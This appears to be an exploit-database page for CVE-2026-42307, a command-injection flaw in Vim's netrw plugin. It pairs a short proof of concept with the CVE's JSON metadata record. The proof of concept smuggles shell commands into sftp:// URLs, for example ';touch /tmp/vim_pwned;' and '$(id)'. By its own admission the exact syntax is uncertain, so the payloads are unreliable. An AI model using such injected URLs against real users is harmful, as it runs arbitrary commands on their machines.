CVE-2026-42307

# Exploit PoC for CVE-2026-42307 # Description: Trigger command injection via netrw crafted URL. # Usage: Open the file with Vim or execute the command directly. # Method 1: Command line invocation vim 'sftp://;touch /tmp/vim_pwned;' # Method 2: Inside Vim (Ex mode) :e sftp://$(id) # Note: The exact payload syntax depends on the specific vulnerability in netrw's URL parsing. # This demonstrates the concept of injecting commands via the protocol handler.

{"cve": {"id": "CVE-2026-42307", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:36.777", "lastModified": "2026-05-08T23:16:36.777", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vim is an open source, command line text editor. Prior to version 9.2.0383, an OS command injection vulnerability exists in the netrw standard plugin bundled with Vim. By inducing a user to open a crafted URL (e.g., using the sftp:// or file:// protocol handlers), an attacker can execute arbitrary shell commands with the privileges of the Vim process. This issue has been patched in version 9.2.0383."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/vim/vim/commit/405e2fb6d54d5653523809e2853d99d1c000a5fc", "source": "[email protected]"}, {"url": "https://github.com/vim/vim/releases/tag/v9.2.0383", "source": "[email protected]"}, {"url": "https://github.com/vim/vim/security/advisories/GHSA-85ch-p2qr-m5gx", "source": "[email protected]"}]}}